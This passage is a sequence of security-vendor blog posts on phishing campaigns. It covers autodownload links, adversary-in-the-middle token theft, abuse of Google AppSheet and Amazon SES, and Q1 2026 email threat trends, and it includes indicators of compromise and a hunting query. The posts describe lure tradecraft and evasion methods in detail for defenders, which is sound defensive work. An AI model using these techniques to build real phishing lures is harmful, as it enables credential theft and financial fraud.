• The Trap: Clicking the link skips the usual "preview" screen and instantly drops a file onto the victim's computer.
• The Disguise: The file is cleverly named to look like a safe PDF or document, hiding its true identity as a harmful program.
• The Lock: In many cases, the attacker ensures only the intended victim can open the file, preventing security tools from scanning it first.
• The Takeover: Once the victim opens the file, the attacker gains remote access to the system.

The Library of Lures Strategy

To fuel the autodownload machine, attackers employ a flexible strategy by switching between various social engineering themes. This spear phishing campaign targets specific inboxes, such as "Orders," to exploit professional routines. Some common lures found in this campaign include:

• Financial Urgency – Fake "Invoices" or "Receipts" that induce anxiety. These often set close-day payment deadlines, pressuring recipients to click quickly.
• Business Operations – "Quote Requests" or "Purchase Orders" that exploit professional habits.
• Deceptive Naming – Concealing the download as a safe document, using display text like "invoice.pdf" in the email body to hide the underlying Dropbox URL.

Government Domain Impersonation

Attackers often leverage high-authority lures designed to paralyze a user's critical thinking. In one sophisticated wave, we observed threats impersonating a government entity by exploiting the high-reputation, official government domain. By borrowing the reputational authority associated with official infrastructure, the attacker successfully maneuvered an "Unidentified Payment Notice" past standard "Untrusted Sender" filters. To the recipient, the email carries the weight of a sanctioned document. Fearing legal or financial ramifications, they feel a heightened sense of urgency to click "View Invoice" to resolve the issue immediately.

Employee Impersonation

When government authority isn’t the angle, attackers shift to impersonating internal staff. In one case, the sender’s display name was spoofed to match a real employee in the target organization. Attackers rely on a “Momentum of Trust” tied to familiar names to overwhelm user judgment. Even when a generic Gmail address is used, users, especially those on mobile devices, rarely pause to check the underlying headers.

Internal Trust Amplification ("Human Relay")

The most effective aspect of this campaign occurs through Internal Laundering, where the threat shifts from external suspicion to a trusted internal message. This was observed when a Finance Department employee received a "Quote Analysis" file and, believing it to be a valid inquiry, mistakenly forwarded the link to the Procurement department.

At that stage, the attack no longer depended on deception, it propagated through trusted human workflows. These various tactics illustrate the sophistication and adaptability of phishing campaigns and highlight the importance of vigilance in email security.

How We Uncovered a Single Threat Actor

Although the lures appeared diverse, a deeper technical analysis revealed that they were all orchestrated by a single, coordinated threat actor.

By mapping the campaign, we uncovered a significant pattern: Each autodownload link pointed to a different file hash to evade signature detection, but all unique executables were ultimately associated with the same parent installer hash.

The file was identified as a specific Remote Monitoring and Management (RMM) executable, an administrative software used to manage computers remotely. Because RMM tools are legitimate, they often trigger fewer alerts than traditional Trojans. This allows the attacker to maintain persistent access under the guise of “authorized” system activity.

How Cortex Email Security Addresses the Threat

To defend against a campaign that emphasizes speed and rotation, behavioral analysis is essential.

The Cortex^® Email Security Module addresses this threat:

• Advanced URL Analysis – Detection of forced-download parameters, combined with delivery of high-risk files via URLs.
• Deep Metadata Correlation – Correlating sender identity with behavioral anomalies to flag threats that traditional scanners might overlook.
• LLM-Based Intent Analysis – Classifying phishing themes (invoice, payment, quote) despite variation.

The security engine triggers an alert by synthesizing LLM analysis with real-time email telemetry, global threat intelligence and behavioral signals.

Securing the Click

The combination of autodownload links and rotating lures is crafted to exploit user momentum and the "psychology of trust."

This campaign represents a shift from deception to acceleration. Attackers no longer need perfect lures, they only need to remove friction. Defenders must evolve accordingly, focusing not only on what a link is, but on what it forces a user to do.

Palo Alto Networks Cortex Advanced Email Security was built for this evolution. By moving beyond static file analysis to identify the behavioral "red flags" of autodownloads and forced-momentum URLs, we provide the visibility needed to stop these attacks before they reach the device.

The module examines email metadata, content, and behavior to uncover hidden malicious intent and sophisticated impersonation, including AI-crafted threats. By assigning precise risk scores to every detection, the system filters out the noise, allowing analysts to move past alert fatigue and focus on the most critical threats first.

Indicators of compromise discovered during this research are detailed on Unit 42’s GitHib instance.

FAQs

1. Why is the "Auto-Download" parameter so effective? It removes the "moment of doubt." By bypassing the preview page, the attacker forces the file onto the computer instantly, prompting the user to "Open" it out of habit.
2. How does the use of rotating lures benefit the attacker? It maximizes both psychological and technical success. People have different "blind spots" (e.g., finance professionals are likely to click on invoices), and variety increases the chances of finding a template that can bypass specific customers' security filters.
3. Why might a sandbox fail to catch the malicious file? Because the link was "Identity-Bound." To the scanner, the link appeared to lead to a harmless error page (cloaking), resulting in a false negative.

Cloaking involves showing different content to security scanners than what is presented to the victim. By using Identity-Bound access, the file only reveals itself to the intended target.

The post The Dangerous Momentum of Autodownload Phishing appeared first on Palo Alto Networks Blog.

Phishing campaigns continue to improve sophistication and refinement in blending social engineering, delivery and hosting infrastructure, and authentication abuse to remain effective against evolving security controls. A large-scale credential theft campaign observed by Microsoft Defender Research exemplifies this trend, using code of conduct-themed lures, a multi-step attack chain, and legitimate email services to distribute fully authenticated messages from attacker-controlled domains.

The campaign targeted tens of thousands of users, primarily in the United States, and directed them through several stages of CAPTCHA and intermediate staging pages designed to reinforce legitimacy while filtering out automated defenses. The lures in this campaign used polished, enterprise-style HTML templates with structured layouts and preemptive authenticity statements, making them appear more credible than typical phishing emails and increasing their plausibility as legitimate internal communications. Because the messages contained concerning accusations and repeated time-bound action prompts, the campaign created a sense of urgency and pressure to act.  

The attack chain ultimately led to a legitimate sign-in experience that was part of an adversary‑in‑the‑middle (AiTM) phishing flow, which allowed the attackers to proxy the authentication session and capture authentication tokens that could provide immediate account access. Unlike traditional credential harvesting, AiTM attacks intercept authentication traffic in real time, bypassing non-phishing-resistant multifactor authentication (MFA).

In this blog, we’re sharing our analysis of this campaign’s lures, infrastructure, and techniques. Organizations can defend against financial fraud initiated through phishing emails by educating users about phishing lures, investing in advanced anti-phishing solutions like Microsoft Defender for Office 365 and configuring essential email security settings, and encouraging users to employ web browsers that support SmartScreen. Organizations can also enable network protection, which lets Windows use SmartScreen as a host-based web proxy.

Multi-step social engineering campaign leading to credential theft

Between April 14 and 16, 2026, the Microsoft Defender Research team observed a series of sophisticated phishing campaigns targeting more than 35,000 users across over 13,000 organizations in 26 countries, with majority of targets located in the United States (92%). The campaign did not focus on a single vertical but instead impacted a broad range of industries, most notably Healthcare & life sciences (19%), Financial services (18%), Professional services (11%), and Technology & software (11%). Messages were distributed in multiple distinct waves between 06:51 UTC on April 14 and 03:54 UTC on April 16. 

Emails in this campaign posed as internal compliance or regulatory communications, using display names such as “Internal Regulatory COC”, “Workforce Communications”, and “Team Conduct Report”. Subject lines included “Internal case log issued under conduct policy” and “Reminder: employer opened a non-compliance case log”.

Message bodies claimed that a “code of conduct review” had been initiated, referenced organization-specific names embedded within the text, and instructed recipients to “open the personalized attachment” to review case materials. At the top of each message, a notice stated that the message had been “issued through an authorized internal channel” and that links and attachments had been “reviewed and approved for secure access”, reinforcing the email’s purported legitimacy. To further support the confidentiality of the supposed review, the end of each message contained a green banner stating that the contents had been encrypted using Paubox, a legitimate service associated with HIPAA-compliant communications.

Analysis of the sending infrastructure indicated that the campaign emails were sent using a legitime email delivery service, likely originating from a cloud-hosted Windows virtual machine. The messages were sent from multiple sender addresses using domains that are likely attacker-controlled.

Each campaign email included a PDF attachment with filenames such as Awareness Case Log File – Tuesday 14th, April 2026.pdf and Disciplinary Action – Employee Device Handling Case.pdf. The attachment provided additional context about the supposed conduct review, including a summary of the review process and instructions for accessing supporting documentation. Recipients were directed to click a “Review Case Materials” link within the PDF, which initiated the credential harvesting flow.

When clicked, users were initially directed to one of two attacker-controlled domains (for example, acceptable-use-policy-calendly[.]de or compliance-protectionoutlook[.]de). These landing pages displayed a Cloudflare CAPTCHA, presented as a mechanism to validate that the user was coming “from a valid session”. This CAPTCHA likely served as a gating mechanism to impede automated analysis and sandbox detonation. 

After completing the CAPTCHA, users were redirected to an intermediate site designed to prepare them for the final stage of the attack. This page informed users that the requested documentation was encrypted and required account authentication. While this stage of the attack has several hallmarks of device code phishing, we were only able to confirm the AITM portion of the attack chain.

After clicking the provided “Review & Sign” button, users were presented with a sign-in prompt requesting their email address.

After submission, users were required to complete a second CAPTCHA involving image selection.

Once these steps were completed, users were shown a message indicating that verification was successful and that their “case” was being prepared.

Following these steps, users were redirected to a third site hosting the final stage of the attack. Analysis of the underlying code indicates that the final destination varied depending on whether the user accessed the workflow from a mobile device or a desktop system.

On the final page, users were informed that all materials related to their code of conduct review had been “securely logged”, “time-stamped”, and “maintained within the organization’s centralized compliance tracking system”. They were then prompted to schedule a time to discuss the case, which required signing in to their account.

Selecting the “Sign in with Microsoft” option redirected users to a Microsoft authentication page, initiating an AiTM session hijacking flow designed to capture authentication tokens and compromise user accounts.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat. Check the recommendations card for the deployment status of monitored mitigations.

• Review the recommended settings for Exchange Online Protection and Microsoft Defender for Office 365 to ensure your organization has established essential defenses and knows how to monitor and respond to threat activity.
• Invest in user awareness training and phishing simulations. Attack simulation training in Microsoft Defender for Office 365, which also includes simulating phishing messages in Microsoft Teams, is one approach to running realistic attack scenarios in your organization.
• Enable Zero-hour auto purge (ZAP) in Defender for Office 365 to quarantine sent mail in response to newly acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
• Responders could also manually check for and purge unwanted emails containing URLs and/or Subject fields that are similar, but not identical, to those of known bad messages. Investigate malicious email that was delivered in Microsoft 365 and use Threat Explorer to find and delete phishing emails.
• Turn on Safe Links and Safe Attachments in Microsoft Defender for Office 365.
• Enable network protection in Microsoft Defender for Endpoint.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Enable password-less authentication methods (for example, Windows Hello, FIDO keys, or Microsoft Authenticator) for accounts that support password-less. For accounts that still require passwords, use authenticator apps like Microsoft Authenticator for multifactor authentication (MFA). Refer to this article for the different authentication methods and features.
  • Conditional access policies can also be scoped to strengthen privileged accounts with phishing resistant MFA.
• Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Threat overview profile: Adversary-in-the-middle credential phishing
• Threat overview profile: Evolving phishing threats

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Campaign emails by sender address

The following query identifies emails associated with this campaign using a message’s sending email address.

EmailEvents
| where SenderMailFromAddress in (" cocpostmaster@cocinternal.com "," nationaladmin@gadellinet.com ","
nationalintegrity@harteprn.com”,” m365premiumcommunications@cocinternal.com”,” documentviewer@na.businesshellosign.de”)

Indicators of compromise

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

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To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Breaking the code: Multi-stage ‘code of conduct’ phishing campaign leads to AiTM token compromise appeared first on Microsoft Security Blog.

Researchers have uncovered a long-running phishing operation that abuses trusted Google services to hijack tens of thousands of Facebook accounts.

The compromised Facebook accounts are mainly business and advertiser profiles, which criminals can monetize after gaining access and control.

The attackers found a way to send phishing emails that come “through Google,” making them look legitimate at first glance. The emails are sent via Google’s AppSheet platform, so they pass the usual technical checks (SPF, DKIM, DMARC), and many email filters treat them as trusted.

Google AppSheet is a development platform that lets people build mobile and web apps without writing code. It can automate workflows and notifications, typically used to send app-driven alerts and internal updates.

And that’s where the phishers abused it. The sender name can be customized, and the sending address may look something like noreply@appsheet.com, delivered through appsheet.bounces.google.com. To the average user, it looks like a perfectly normal notification, in these cases often about Facebook policy violations, copyright complaints, or verification issues.

Researchers linked these emails to a Vietnamese‑linked operation that has already compromised around 30,000 Facebook accounts and is still active.

The stolen accounts are mostly pages and business profiles that have financial value: advertising accounts, brand pages, and companies that rely on Facebook for marketing. Once inside, attackers run scams, place fraudulent ads, or sell access to others. In some cases, the same group offers “account recovery” services to fix the problems they created.

Scam or legit? Scam Guard knows.

TRY IT NOW

No matter the lure, the goal is the same: Facebook credentials, 2FA codes, and recovery data. The phishing sites are just the entry point. Behind them is a fairly industrial infrastructure built around Telegram bots and channels to collect and process stolen data.

How to stay safe

This campaign is not “just another phishing mail.” It is one more example of how attackers exploit the trust we place in major platforms.

Facebook does not send complaints, verification requests, security checks, job offers, and other urgent messages through Google infrastructure.

• Any email that claims your Facebook or Instagram account is about to be disabled, locked, or punished deserves extra scrutiny, especially if it demands action within 24 hours.
• If you get a worrying message about your account, go directly to facebook.com or the Facebook app. Don’t click links in the message.
• If a form asks for password, multiple 2FA codes, date of birthm phone number, and ID photos in one go, then stop. That’s the “full recovery pack” these attackers need to take over your account.
• Set up 2FA for Facebook and set up login alerts for new devices and locations.
• Be cautious with unusual messages from Facebook accounts. The account itself may be compromised.

Pro tip: Malwarebytes Scam Guard can help you spot phishing emails and messages on any platform. You can even use it in Claude and ChatGPT.

Someone’s watching your accounts. Make sure it’s us.

PROTECT YOUR IDENTITY

Introduction

The primary goal for attackers in a phishing campaign is to bypass email security and trick the potential victim into revealing their data. To achieve this, scammers employ a wide range of tactics, from redirect links to QR codes. Additionally, they heavily rely on legitimate sources for malicious email campaigns. Specifically, we’ve recently observed an uptick in phishing attacks leveraging Amazon SES.

The dangers of Amazon SES abuse

Amazon Simple Email Service (Amazon SES) is a cloud-based email platform designed for highly reliable transactional and marketing message delivery. It integrates seamlessly with other products in Amazon’s cloud ecosystem, AWS.

At first glance, it might seem like just another delivery channel for email phishing, but that isn’t the case. The insidious nature of Amazon SES attacks lies in the fact that attackers aren’t using suspicious or dangerous domains; instead, they are leveraging infrastructure that both users and security systems have grown to trust. These emails utilize SPF, DKIM, and DMARC authentication protocols, passing all standard provider checks, and almost always contain .amazonses.com in the Message-ID headers. Consequently, from a technical standpoint, every email sent via Amazon SES – even a phishing one – looks completely legitimate.

Phishing URLs can be masked with redirects: a user sees a link like amazonaws.com in the email and clicks it with confidence, only to be sent to a phishing site rather than a legitimate one. Amazon SES also allows for custom HTML templates, which attackers use to craft more convincing emails. Because this is legitimate infrastructure, the sender’s IP address won’t end up on reputation-based blocklists. Blocking it would restrict all incoming mail sent through Amazon SES. For major services, that kind of measure is ineffective, as it would significantly disrupt user workflows due to a massive number of false positives.

How compromise happens

In most cases, attackers gain access to Amazon SES through leaked IAM (AWS Identity and Access Management) access keys. Developers frequently leave these keys exposed in public GitHub repositories, ENV files, Docker images, configuration backups, or even in publicly accessible S3 buckets. To hunt for these IAM keys, phishers use various tools, such as automated bots based on the open-source utility TruffleHog, which is designed for detecting leaked secrets. After verifying the key’s permissions and email sending limits, attackers are equipped to spread a massive volume of phishing messages.

Examples of phishing with Amazon SES

In early 2026, one of the most common themes in phishing emails sent with Amazon SES was fake notifications from electronic signature services.

Phishing email imitating a Docusign notification

The email’s technical headers confirm that it was sent with Amazon SES. At first glance, it all looks legitimate enough.

Phishing email headers

In these emails, the victim is typically asked to click a link to review and sign a specific document.

Phishing email with a “document”

Upon clicking the link, the user is directed to a sign-in form hosted on amazonaws.com. This can easily mislead the victim, convincing them that what they’re doing is safe.

Phishing sign-in form

The resulting form is, of course, a phishing page, and any data entered into it goes directly to the attackers.

Amazon SES and BEC

However, Amazon SES is used for more than just standard phishing; it’s also a vehicle for a very sophisticated type of BEC campaigns. In one case we investigated, a fraudulent email appeared to contain a series of messages exchanged between an employee of the target organization and a service provider about an outstanding invoice. The email was sent as if from that employee to the company’s finance department, requesting urgent payment.

BEC email featuring a fake conversation between an employee and a vendor

The PDF attachments didn’t contain any malicious phishing URLs or QR codes, only payment details and supporting documentation.

Forged financial documents

Naturally, the email didn’t originate with the employee, but with an attacker impersonating them. The entire thread quoted within the email was actually fabricated, with the messages formatted to appear as a legitimate forwarded thread to a cursory glance. This type of attack aims to lower the user’s guard and trick them into transferring funds to the scammers’ account.

Takeaways

Phishing via Amazon SES experienced an uptick in January 2026 and has remained relatively steady through Q1. By weaponizing this service, attackers avoid the effort of building dubious domains and mail infrastructure from scratch. Instead, they hijack existing access keys to gain the ability to blast out thousands of phishing emails. These messages pass email authentication, originate from IP addresses that are unlikely to be blocklisted, and contain links to phishing forms that look entirely legitimate.

Since these Amazon SES phishing attacks stem from compromised or leaked AWS credentials, prioritizing the security of these accounts is critical. To mitigate these risks, we recommend following these guidelines:

• Implement the principle of least privilege when configuring IAM access keys, granting elevated permissions only to users who require them for specific tasks.
• Transition from IAM access keys to roles when configuring AWS; these are profiles with specific permissions that can be assigned to one or several users.
• Enable multi-factor authentication, an ever-relevant step.
• Configure IP-based access restrictions.
• Set up automated key rotation and run regular security audits.
• Use the AWS Key Management Service to encrypt data with unique cryptographic keys and manage them from a centralized location.

We recommend that users remain vigilant when handling email. Do not determine whether an email is safe based solely on the From field. If you receive unexpected documents via email, a prudent precaution is to verify the request with the sender through a different communication channel. Always carefully inspect where links in the body of an email actually lead. Additionally, robust email security solutions can provide an essential layer of protection for both corporate and personal correspondence.

During the first quarter of 2026 (January-March), Microsoft Threat Intelligence detected approximately 8.3 billion email-based phishing threats, with monthly volumes declining slightly from 2.9 billion in January to 2.6 billion in March. By the end of the quarter, QR code phishing emerged as the fastest-growing attack vector, more than doubling over the period, while CAPTCHA-gated phishing evolved rapidly across payload types. Overall, 78% of email threats were link-based, while malicious payloads accounted for 19% of attacks in January—boosted by large HTML and ZIP campaigns—before settling at 13% in both February and March. Credential phishing remained the dominant objective behind malicious payloads throughout the quarter. This shift toward link-based delivery, combined with the payload trends, suggests that threat actors increasingly preferred hosted credential phishing infrastructure over locally-rendered payloads as the quarter progressed.

This blog provides a view of email threat activity across the first quarter of 2026, highlighting key trends in phishing techniques, payload delivery, and threat actor behavior observed by Microsoft Threat Intelligence. We examine shifts in QR code phishing, CAPTCHA evasion tactics, malicious payloads, and BEC activity, analyze how disruption efforts and infrastructure changes influenced threat actor operations, and provide recommendations and Microsoft Defender detections to help mitigate these threats. By bringing these trends together, this blog can help defenders understand how email-based attacks are evolving and where to focus detection, mitigation, and user protection strategies.

Tycoon2FA disruption impact

Since its emergence in August 2023, Tycoon2FA has rapidly become one of the most widespread PhaaS platforms, leveraging adversary-in-the-middle (AiTM) techniques to attempt to defeat non-phishing-resistant multifactor authentication (MFA) defenses. The group behind the PhaaS platform (tracked by Microsoft Threat Intelligence as Storm-1747) leases malicious infrastructure and sells phishing kits that impersonate various enterprise application sign-in pages and incorporate evasion tactics, such as fake CAPTCHA pages.

The quarter began with Tycoon2FA in a period of reduced activity. January volumes represented a 54% decline from December 2025, marking the second consecutive month of sharp decreases. While post-holiday seasonal effects may have contributed to this decrease in volume, some of the reduction might also have been the result of Microsoft’s Digital Crimes Unit disruption of RedVDS, a service used by many Tycoon2FA customers to distribute malicious email campaigns.

After surging 44% in February, phishing attacks pointing to Tycoon2FA fell 15% in March driven largely by the effects of a coordinated disruption operation. In early March 2026, Microsoft’s Digital Crimes Unit, in coordination with Europol and industry partners, took action to disrupt Tycoon2FA’s infrastructure and operations, significantly impairing the platform’s hosting capabilities. While Tycoon2FA-linked messages continued to circulate after the disruption, almost one-third of March’s total volume was concentrated in a three-day period early in the month; daily volumes for the remainder of March were notably lower than historical averages, and targets’ ability to reach active phishing pages was substantially reduced.

Tycoon2FA’s infrastructure composition evolved multiple times during the first three months of 2026. In January, Tycoon2FA domains started shifting toward newer generic top-level domains (TLDs) such as .DIGITAL, .BUSINESS, .CONTRACTORS, .CEO, and .COMPANY, moving away from previous commonly used TLDs or second-level domains like .SA.COM, .RU, and .ES. This trend became even more well-established in February. Following the March disruption, however, Microsoft Threat Intelligence observed a notable increase in Tycoon2FA domains with .RU registrations, with more than 41% of all Tycoon2FA domains using a .RU TLD since the last week of March.

Additionally, toward the end of March, we saw Tycoon2FA moving away from Cloudflare as a hosting service and now hosts most of its domains across a variety of alternative platforms, suggesting the group is attempting to find replacement services that offer comparable anti-analysis protections.  

QR code phishing attacks

In recent years, QR codes have rapidly emerged as a preferred tool among phishing threat actors seeking to bypass traditional email defenses. By embedding malicious URLs within image-based QR codes in the body of an email or within the contents of an attachment, threat actors attempt to exploit the limitations of text-based scanning engines and redirect victims to phishing sites on unmanaged mobile devices.

The most significant shift in Q1 2026 was the rapid escalation of QR code phishing, with attack volumes increasing from 7.6 million in January to 18.7 million in March, a 146% increase over the quarter. After an initial 35% decline in January (continuing a late-2025 downtrend), volumes reversed course dramatically, growing 59% in February and another 55% in March. By the end of the quarter, QR code phishing had reached its highest monthly volume in at least a year.

PDF attachments were the dominant delivery method throughout the quarter, growing from 65% of QR code attacks in January to 70% in March. While the overall volume of DOC/DOCX payloads containing malicious QR codes steadily increased each month, their share of overall delivery payloads decreased from 31% in January to 24% in March. A notable late-quarter development was the emergence of QR codes embedded directly in email bodies, which surged 336% in March. While still a small share of total volume (5%), this approach eliminates the need for an attachment altogether and highlights a shift in threat actor delivery methods that defenders should continue to monitor.

CAPTCHA tactics

Threat actors use CAPTCHA pages to delay detection and increase user interaction. These pages function as a visual decoy, giving the appearance of a legitimate security check while concealing a transition to malicious content. By forcing users to engage with the CAPTCHA before accessing the payload, threat actors reduce the likelihood of automated scanning tools identifying the threat and increase the chances of successful credential harvesting or malware delivery. Additionally, fake CAPTCHAs are used in ClickFix attacks to trick users into copying and executing malicious commands under the guise of human verification, allowing malware to bypass conventional security controls.

After declining in both January (-45%) and February (-8%), CAPTCHA-gated phishing volumes exploded in March, more than doubling (+125%) to 11.9 million attacks, the highest volume observed over the last year.

The most notable aspect of Q1 CAPTCHA trends was the rapid rotation of delivery methods, as threat actors appeared to actively experiment with which payload formats most effectively evade email defenses:

• HTML attachments started the year as the most common method to deliver CAPTCHA-gated phishing (37% in January), but dropped 34% in February, hitting its lowest monthly volume since August 2025. Although their volume more than doubled in March, hitting an annual monthly high, HTML files were still only the second-most common delivery method to close the quarter.

• SVG files, which had seen consecutive months of decreasing volumes, grew by 49% in February at the same time nearly every other delivery payload type decreased. Because of this, it was the most common delivery method for the month, which had not happened since November 2025. This one-month spike reversed itself in March, however, and the number of SVG files delivering CAPTCHA-gated phish fell by 57%, accounting for just 7% of delivery payloads.
• PDF files saw a meteoric rise in volume during the first quarter of the year. After seeing steady month-over-month declines since July 2025, and hitting an annual monthly low point in January 2026, the number of PDF attachments leading to CAPTCHA-gated phishing sites more than quadrupled in March (+356%). Not only did it retake its spot as the most common delivery method for these attacks since last July, but it eclipsed its annual high by more than 37%.
• DOC/DOCX files, which didn’t make up more than 9% of CAPTCHA-gated phishing payloads over the previous nine months, increased almost five times (+373%) in March to account for 15% of payloads.
• Email-embedded URLs, which had once delivered more than half of CAPTCHA-gated phish at the end of August 2025, hit an eight-month low after falling 85% between December and February. While their volume nearly doubled in March, they remained well below late-2025 levels.

Another notable shift in CAPTCHA-gated phishing attacks was the erosion of Tycoon2FA’s impact on the landscape. At the end of 2025, more than three-quarters of CAPTCHA-gated phishing sites were hosted on Tycoon2FA infrastructure. This share decreased significantly over the course of the first three months of 2026, falling to just 41% in March. This broadening of CAPTCHA-gated phishing sites being used by an increasing number of threat actors and phishing kits, combined with the overall surge in volume, indicates that this technique is becoming a more entrenched component of the phishing playbook rather than a specialty of a small number of tools.

Three-day campaign delivers CAPTCHA-gated phishing content using malicious SVG attachments

Between February 23 and February 25, 2026, a large, sustained campaign sent more than 1.2 million messages to users at more than 53,000 organizations in 23 countries. Messages in the campaign included a number of different themes, including an important 401K update, a credit hold warning, a question about a received payment, a payment request for a past due invoice, and a voice message notification.

Many of the messages contained a fake confidentiality disclaimer to enhance the credibility of the messages and provide a proactive excuse about why a recipient may have mistakenly received an email that may not be applicable to them.

Attached to each message was an SVG file that was named to appropriately match the theme of the email. All the file names included a Base64-encoded version of the recipient’s email address. Example of file names used in the campaign include the following:

• <Recipient Email Domain>_statements_inv_<Base64-encoded Email Address>.svg
• 401K_copy_<Recipient Name>_<Base64-encoded Email Address>_241.svg
• Check_2408_Payment_Copy_<Recipient First Name>_<Base64-encoded Email Address>_241.svg
• INV#_1709612175_<Base64-encoded Email Address>.svg
• Listen_(<Base64-encoded Email Address>).svg
• PLAY_AUDIO_MESSAGE__<Recipient Name>_<Base64-encoded Email Address>_241.svg

If an attached SVG file was opened, the user’s browser would open locally and fetch content from one of the three following hostnames:

• bouleversement.niovapahrm[.]com
• haematogenesis.hvishay[.]com
• ubiquitarianism.drilto[.]com

Initially, the user would be shown a “security check” CAPTCHA. Once the CAPTCHA had been successfully completed, the user would then be shown a fake sign-in page used to compromise their account credentials.

Malicious payloads

Credential phishing tightened its grip on the malicious payload landscape across Q1, growing from 89% of all payload-based attacks in January to 95% in February before settling at 94% in March. These credential phishing payloads either linked users to phishing pages or locally loaded spoofed sign-in screens on a user’s device. Traditional malware delivery continued its long-term decline, representing just 5–6% of payloads by the end of the quarter.

The most striking payload trend was the volatility across file types, driven by large campaigns that created dramatic week-to-week swings:

• HTML attachments started Q1 as the leading file type (37% of payloads in January), fell to an annual low in February (-57%), then nearly tripled in March (+175%). This volatility was largely campaign-driven, with concentrated activity in the first half of January and the third week of March.
• Malicious PDFs followed a steady upward trajectory, increasing 38% in February and another 50% in March to reach their highest monthly volume in over a year. By March, PDFs accounted for 29% of payloads, up from 19% in January.
• ZIP/GZIP attachments were similarly volatile by nearly doubling in January (+94%), dropping 38% in February, then surging 79% in March. Threat actors commonly use ZIP files to circumvent Mark of the Web (MOTW) protections.
• SVG files emerged briefly in February as a notable delivery method (with a 50% volume increase) before declining 32% in March, mirroring the pattern seen in CAPTCHA-gated phishing.

Large-scale HTML phishing campaign hosts content on multiple PhaaS infrastructures

On March 17, 2026, Microsoft Threat Intelligence observed a massive phishing campaign that drove a significant surge in malicious HTML attachments during the month. The campaign involved more than 1.5 million confirmed malicious messages sent to over 179,000 organizations across 43 countries, accounting for approximately 7% of all malicious HTML attachments observed in March.

All messages in this campaign were likely sent using the same tool or service, which exhibited several distinct and highly consistent characteristics. Most notably, sender addresses across the campaign featured excessively long, keyword‑stuffed usernames that embedded URLs, tracking identifiers, and service references. These usernames were crafted to resemble legitimate transactional, billing, or document‑related notification senders. Examples of observed sender usernames include:

• eReceipt_Payment_Alert_Noreply-/m939k6d7.r.us-west-2.awstrack.me/L0/%2F%2Fspectrumbusiness.net%2Fbilling%2F/2/010101989f2c1f29-ab5789bd-1426-4800-ae7d-877ea7f61d24-000000/LHnBIXX0VmCLVoXwNWtt23hGCdc=439/us02web.zoom.nl/j/81163775943?pwd=bLoo4JaWavsiTAuLWNoRsmbmALwjLB.1-qq8m2tzd
• Center-=AAP1eU7NKykAABXNznVa8w___listenerId=AAP1eU7NKykAABXNznVa8w___aw_0_device.player_name=Chrome___aw_0_ivt.result=unknown___cbs=9901711___aw_0_azn.zposition=%5B%22undefined%22%5D___us_privacy=___aw_0_app.name=Second+Screen___externalClickUrl=otdk-takaki-h
• DocExchange_Noreply-m939k6d7.r.us_west_2.awstrack.me/L0/%2F%2Fspectrumbusiness.net%2Fbilling%2F/2/010101989f2c1f29ab5789bd14264800ae7d877ea7f61d24000000/LHnBIXX0VmCLVoXwNWtt23hGCdc=439/us02web.zoom.nl/j/81163775943?pwd=bLoo4JaWavsiTAuLWNoRsmbmALwjLB.1-angie

The emails themselves contained little to no message body content. While subject lines varied, they consistently impersonated routine business and workflow notifications, including payment and remittance alerts (for example, Automated Clearing House (ACH), Electronic Funds Transfer (EFT), wire), invoice or aging statements, and e‑signature or document delivery requests. These subjects relied on urgency, approval language, and transactional framing to prompt recipients to review, sign, or access an attached document.

Each message included an HTML attachment with a file name aligned to the email’s theme. When opened, the HTML file launched locally on the recipient’s device and immediately redirected the user to an initial external staging page. This page performed basic screening and then redirected the user to a secondary landing page hosting the phishing content. On the final landing page, users were presented with a CAPTCHA challenge before being directed to a fraudulent sign‑in page designed to harvest account credentials.

Interestingly, although messages in this campaign shared common tooling, structure, and delivery characteristics, the infrastructure hosting the final phishing payload was linked to multiple different PhaaS providers. Most observed phishing endpoints were associated with Tycoon2FA, while additional activity was linked to Kratos (formerly Sneaky2FA) and EvilTokens infrastructure.

Business email compromise

Microsoft defines business email compromise (BEC) as a text-based attack targeting enterprise users that impersonates a trusted entity for the purpose of persuading a recipient into initiating a fraudulent financial transaction or sending the threat actor sensitive documents. These attacks fluctuated across Q1, totaling approximately 10.7 million attacks: rising 24% in January, dipping 8% in February, then surging 26% in March.

The composition of BEC attacks remained consistent throughout Q1. Generic outreach messages (like “Are you at your desk?”) accounted for 82–84% of initial contact emails each month, while explicit requests for specific financial transactions or documents represented just 9–10%. This pattern underscores that BEC operators overwhelmingly favor establishing a conversational rapport before making fraudulent requests, rather than leading with direct financial asks.

